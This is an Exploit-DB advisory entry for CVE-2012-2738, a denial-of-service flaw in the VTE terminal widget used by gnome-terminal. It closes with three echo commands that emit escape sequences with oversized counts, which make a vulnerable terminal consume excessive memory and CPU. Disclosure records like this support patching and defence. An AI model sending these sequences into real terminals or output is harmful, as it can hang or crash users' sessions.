gnome-terminal vte VteTerminal Escape Sequence Parsing Remote DoS

2012-07-03T00:00:00
ID EDB-ID:37477
Type exploitdb
Reporter Kevin Fenzi
Modified 2012-07-03T00:00:00

Description

gnome-terminal (vte) VteTerminal Escape Sequence Parsing Remote DoS. CVE-2012-2738. Dos exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/54281/info

VTE is prone to a vulnerability that may allow attackers to cause an affected application to consume excessive amounts of memory and CPU time, resulting in a denial-of-service condition. 

echo -en "\e[2147483647L"
echo -en "\e[2147483647M"
echo -en "\e[2147483647P"